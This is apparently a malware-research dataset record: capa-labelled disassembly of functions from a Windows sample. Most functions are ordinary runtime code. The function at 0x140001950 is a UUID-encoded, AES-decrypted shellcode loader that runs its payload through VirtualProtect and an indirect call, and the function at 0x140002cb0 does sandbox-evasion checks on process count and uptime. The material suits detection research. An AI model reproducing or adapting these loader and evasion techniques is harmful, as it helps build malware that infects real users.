joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002cb0
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x2a0
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x140040030]
xor rax, rsp
mov qword [rsp + 0x280], rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140002d54
xor edx, edx
mov dword [rsp + 0x40], 0x238
mov r8d, 0x234
lea rcx, [rsp + 0x44]
call fcn.140011060
lea rdx, [rsp + 0x40]
mov rcx, rdi
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140002d49
nop dword [rax + rax]
lea rdx, [rsp + 0x40]
mov rcx, rdi
inc ebx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140002d30
cmp ebx, 0x50
jg 0x140002d54
mov ecx, 1
call fcn.140015180
int3
call fcn.140002660
call fcn.140002660
call fcn.140002740
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp eax, 0x36ee80
jb 0x140002eda
mov r9d, 0x10
lea r8, str.ERROR
lea rdx, [0x140039608]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
call fcn.1400023d0
lea rcx, [0x140002940]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
movsd xmm6, qword [0x140039c30]
movabs rsi, 0x311cdad160000
movabs rbp, 0x112e0be826d694b3
movabs r15, 0x7ffffffe5ec479ff
movabs r12, 0x1a13b8600
movabs r14, 0x7fffffffffffffff
nop dword [rax]
call fcn.14000bbd0
mov rbx, rax
call fcn.14000bbb4
cmp rbx, 0x989680
jne 0x140002dfc
imul rax, rax, 0x64
jmp 0x140002e1a
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea rdi, [rax + r12]
cmp rax, r15
jl 0x140002e26
mov rdi, r14
call fcn.14000bbd0
mov rbx, rax
call fcn.14000bbb4
cmp rbx, 0x989680
jne 0x140002e42
imul rax, rax, 0x64
jmp 0x140002e60
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x140002ed4
mov rbx, rdi
sub rbx, rax
call fcn.14000bd04
imul rdx, rax, 0x64
xorps xmm0, xmm0
cvtsi2sd xmm0, rbx
comisd xmm0, xmm6
lea rcx, [rdx + rsi]
seta r8b
test r8b, r8b
jne 0x140002e91
lea rcx, [rdx + rbx]
lea rax, [rbx + rdx]
add rdx, rsi
test r8b, r8b
cmove rdx, rax
mov rax, rbp
imul rdx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x3b9aca00
mov qword [rsp + 0x28], rdx
sub ecx, eax
mov dword [rsp + 0x30], ecx
lea rcx, [rsp + 0x28]
call fcn.14000df24
jmp 0x140002e26
int3
mov ecx, 1
call fcn.140015180
int3

Function at 0x140003c30
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x140003c64
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x140003c50
ret
Function at 0x1400097b0
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x14000987c
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x14000987c
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x140009895
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx + 0x10]
cmp rax, rcx
je 0x14000986c
cmp byte [rax], 0x5c
jne 0x140009866
lea rdx, [rax + 1]
cmp rdx, rcx
je 0x140009866
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x140009852
movzx ecx, byte [rdx]
sub cl, 0x28
cmp cl, 1
jbe 0x140009863
test r8b, 0x10
jne 0x140009866
movzx ecx, byte [rdx]
sub cl, 0x7b
test cl, 0xfd
jne 0x140009866
mov rax, rdx
inc rax
mov qword [rbx], rax
mov rcx, rbx
call fcn.1400051c0
test edi, edi
jne 0x1400097d0
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
call fcn.1400051b0
int3

Function at 0x14000d418
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x14000d446
xor eax, eax
jmp 0x14000d52c
cmp qword [rcx + 0x68], 0
je 0x14000d457
call fcn.14000d548
jmp 0x14000d52c
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14000d46e
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000d470
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000d4a2
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.140010810
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x14000d526
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x14000d4d9
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x14000d502
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.140018c28
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x14000d526
cmp rsi, rbx
ja 0x14000d4e0
test rsi, rsi
je 0x14000d526
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.140018c28
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x14000f704
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f74e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f74e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f74e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f74e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f74e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000f750
xor al, al
add rsp, 0x28
ret

Function at 0x140015180
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140014feb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140014feb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140014feb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140014feb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140014feb
cmp dword [rcx + 0x84], 0xe
jbe 0x140014feb
cmp dword [rcx + 0xf8], 0
je 0x140014feb
mov ecx, ebx
call fcn.14001509c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140014e78
nop
cmp dword [rbp + 0x20], 0
je 0x140015039
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140015044
int3
xor r8d, r8d
xor edx, edx
jmp 0x140014f7c
Function at 0x140022134
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14000f1b0
sub rsp, rax
mov rax, qword [0x140040030]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14001fc30
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140022183
mov rax, rbp
jmp 0x14002228b
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x42a40]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140023254
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x42a40]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140022287
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140022287
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140023254
test rax, rax
js 0x140022287
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140022287
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140022279
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140022279
cmp byte [rcx], 0xd
jne 0x14002225f
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14002226e
cmp byte [rcx + 1], 0xa
jne 0x14002226e
inc rcx
jmp 0x14002226e
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x40400]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140022241
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14002228b
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14000e9a0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400224ac
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400224c2
mov al, 1
jmp 0x140022522
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400224d3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140022520
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400262cc
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140022520
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140022520
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140022520
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140022522
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1400225f4
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140042a40]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14002264b
cmp word [rdx], r13w
jne 0x14002264b
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140022650
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140022775
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140022796
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140022689
mov rdx, r9
mov word [rbx], cx
jmp 0x1400226b0
cmp r9, r8
jae 0x1400226c0
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14002266a
jmp 0x140022775
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14002276a
cmp dword [rsp + 0x80], esi
je 0x14002276a
lea r8, [0x140042a40]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x140022742
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x140022712
mov word [rbx], r13w
jmp 0x140022772
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14002271f
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140022772
cmp word [rsp + 0x70], r13w
jne 0x14002274f
cmp rbx, r14
je 0x14002270c
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14002325c
cmp word [rsp + 0x70], r13w
je 0x140022775
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140042a40]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14002276f
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140022775
Function at 0x140025b28
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140025baf
mov rsi, rbx
cmp word [rax], bp
je 0x140025b6e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140025b58
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140025b54
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14001e9d4
mov rdi, rax
test rax, rax
je 0x140025b9c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140010810
mov rbp, rdi
xor ecx, ecx
call fcn.14001dba8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140028820
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14002013c
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x1400288c1
cmp ebx, dword [rsp + 0x30]
je 0x1400288ba
test esi, esi
je 0x1400288ba
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140028895
sub r8w, 0x61
cmp r8w, 0x19
ja 0x1400288a2
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14002887f
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x1400288a6
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x1400288c3
mov eax, 1
jmp 0x1400288c3
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001acc0
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x140032738], rbx
je 0x14001ad27
cmp rax, rbx
jne 0x14001ad1a
mov ebx, 1
mov esi, ebx
jmp 0x14001ad2c
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14001acff
mov ebx, 1
mov eax, dword [0x140032740]
cmp eax, ebx
jne 0x14001ad44
mov edi, 0x1f
mov ecx, edi
call fcn.140198000
jmp 0x14001adb0
mov eax, dword [0x140032740]
test eax, eax
jne 0x14001ada5
mov dword [0x140032740], ebx
lea r15, [0x1400206d8]
lea rdi, [0x1400206c0]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x14001ad97
test eax, eax
jne 0x14001ad9b
cmp qword [rdi], r14
je 0x14001ad8c
mov rax, qword [rdi]
mov rcx, qword [0x140020620]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14001ad6e
test eax, eax
je 0x14001adab
mov eax, 0xff
jmp 0x14001af06
mov dword [0x140031ff0], ebx
mov edi, 0x1f
mov eax, dword [0x140032740]
cmp eax, ebx
jne 0x14001add7
lea rdx, [0x1400206b8]
lea rcx, [0x140020628]
call sub.msvcrt.dll__initterm
mov dword [0x140032740], 2
test esi, esi
jne 0x14001ade5
mov rax, r14
xchg qword [0x140032738], rax
cmp qword [0x140032758], r14
je 0x14001ae18
lea rcx, [0x140032758]
call fcn.14001b3b0
test eax, eax
je 0x14001ae18
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140032758]
mov r9, qword [0x140020620]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14001ae31
mov eax, 0xff
jmp 0x14001af06
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x14001aeb7
test ax, ax
je 0x14001ae4c
test edx, edx
jne 0x14001aeb7
sub ax, bx
cmp ax, di
ja 0x14001ae62
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x14001ae4c
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140004034
mov dword [0x140031fec], eax
cmp dword [0x140032010], r14d
jne 0x14001aea0
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140031ff0], r14d
jne 0x14001aeb5
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x140031fec]
jmp 0x14001af06
cmp ax, 0x22
jne 0x14001aecb
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14001ae3a
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.14001b444
add rsp, 0x28
jmp 0x14001acc0
Function at 0x140001760
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov r10, rdx
mov rsi, rdx
sub r10, rcx
mov rbx, rcx
mov r8, rcx
mov r11d, 4
nop dword [rax]
mov r9d, 4
nop word [rax + rax]
movzx eax, byte [r10 + r8 + 0xe0]
xor byte [r8], al
inc r8
sub r9, 1
jne 0x1400017a0
sub r11, 1
jne 0x140001790
mov dil, 0xd
lea rbp, [0x140003390]
movzx eax, byte [rbx + 9]
mov r8, rbx
movzx ecx, byte [rbx + 0xd]
mov r9d, 4
mov byte [rbx + 0xd], al
movzx eax, byte [rbx + 5]
mov byte [rbx + 9], al
movzx eax, byte [rbx + 1]
mov byte [rbx + 5], al
movzx eax, byte [rbx + 0xa]
mov byte [rbx + 1], cl
movzx ecx, byte [rbx + 2]
mov byte [rbx + 2], al
movzx eax, byte [rbx + 0xe]
mov byte [rbx + 0xa], cl
movzx ecx, byte [rbx + 6]
mov byte [rbx + 6], al
movzx eax, byte [rbx + 7]
mov byte [rbx + 0xe], cl
movzx ecx, byte [rbx + 3]
mov byte [rbx + 3], al
movzx eax, byte [rbx + 0xb]
mov byte [rbx + 7], al
movzx eax, byte [rbx + 0xf]
mov byte [rbx + 0xb], al
mov byte [rbx + 0xf], cl
nop dword [rax]
nop word [rax + rax]
mov rcx, r8
mov edx, 4
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 4]
movzx eax, byte [rax + rbp]
mov byte [rcx - 4], al
sub rdx, 1
jne 0x140001840
inc r8
sub r9, 1
jne 0x140001830
movzx r8d, dil
lea r9d, [rdx + 4]
shl r8, 4
mov rax, rbx
sub r8, rbx
add r8, rsi
nop dword [rax]
nop word [rax + rax]
mov edx, 4
nop word [rax + rax]
movzx ecx, byte [r8 + rax]
xor byte [rax], cl
inc rax
sub rdx, 1
jne 0x140001890
sub r9, 1
jne 0x140001880
test dil, dil
je 0x1400018bc
mov rcx, rbx
call fcn.1400014d0
add dil, 0xff
jmp 0x1400017c5
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140001950
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push r14
sub rsp, 0x150
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x130], rax
xor ecx, ecx
mov edx, 0x120
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rax, rax
jne 0x1400019a3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____ERROR_VirtualAlloc:__d_n
call fcn.1400018f0
jmp 0x140001b61
mov qword [rsp + 0x160], rbx
lea rcx, str.RPCRT4
mov qword [rsp + 0x168], rbp
mov qword [rsp + 0x170], rsi
mov qword [rsp + 0x178], rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.UuidFromStringA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
test rax, rax
jne 0x140001a01
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_Failed_With_Error_:__d__n
call fcn.1400018f0
jmp 0x140001a9b
mov qword [rsp + 0x140], r15
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x120
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x140001a3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d__n
call fcn.1400018f0
jmp 0x140001a93
mov qword [rsp + 0x148], r12
mov rdi, r15
lea r12, str.143A6B8C_0BA9_83C7_5D92_3782A9061146
xor ebx, ebx
mov rsi, r12
mov rcx, qword [rsi]
mov rdx, rdi
call rbp
test eax, eax
jne 0x140001a75
add rdi, 0x10
inc ebx
add rsi, 8
cmp ebx, 0x12
jb 0x140001a55
mov r14, r15
jmp 0x140001a8b
movsxd rdx, ebx
lea rcx, str.____UuidFromStringA__Failed_At___s__With_Error_0x_0.8X_n
mov r8d, eax
mov rdx, qword [r12 + rdx*8]
call fcn.1400018f0
mov r12, qword [rsp + 0x148]
mov r15, qword [rsp + 0x140]
lea rcx, [rsp + 0x30]
call section..text
movups xmm0, xmmword [0x1400050a0]
mov rbp, qword [rsp + 0x168]
lea rdi, [rsp + 0x120]
mov rbx, r14
sub rdi, r14
movaps xmmword [rsp + 0x120], xmm0
mov esi, 0x12
nop
movups xmm0, xmmword [rbx]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.140001760
mov ecx, 0x10
nop word [rax + rax]
movzx eax, byte [rdi + rbx]
xor byte [rbx], al
inc rbx
sub rcx, 1
jne 0x140001af0
sub rdi, 0x10
movaps xmmword [rsp + 0x120], xmm0
sub rsi, 1
jne 0x140001ad0
mov rdi, qword [rsp + 0x178]
lea r8d, [rcx + 0x40]
mov rsi, qword [rsp + 0x170]
lea r9, [rsp + 0x20]
mov rbx, qword [rsp + 0x160]
mov edx, 0x120
mov dword [rsp + 0x20], ecx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001b5e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____ERROR_VirtualProtect:__d_n
call fcn.1400018f0
jmp 0x140001b61
call r14
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140001ba0
add rsp, 0x150
pop r14
ret
Function at 0x140002460
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400024aa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400024aa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400024aa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400024aa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400024aa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400024ac
xor al, al
add rsp, 0x28
ret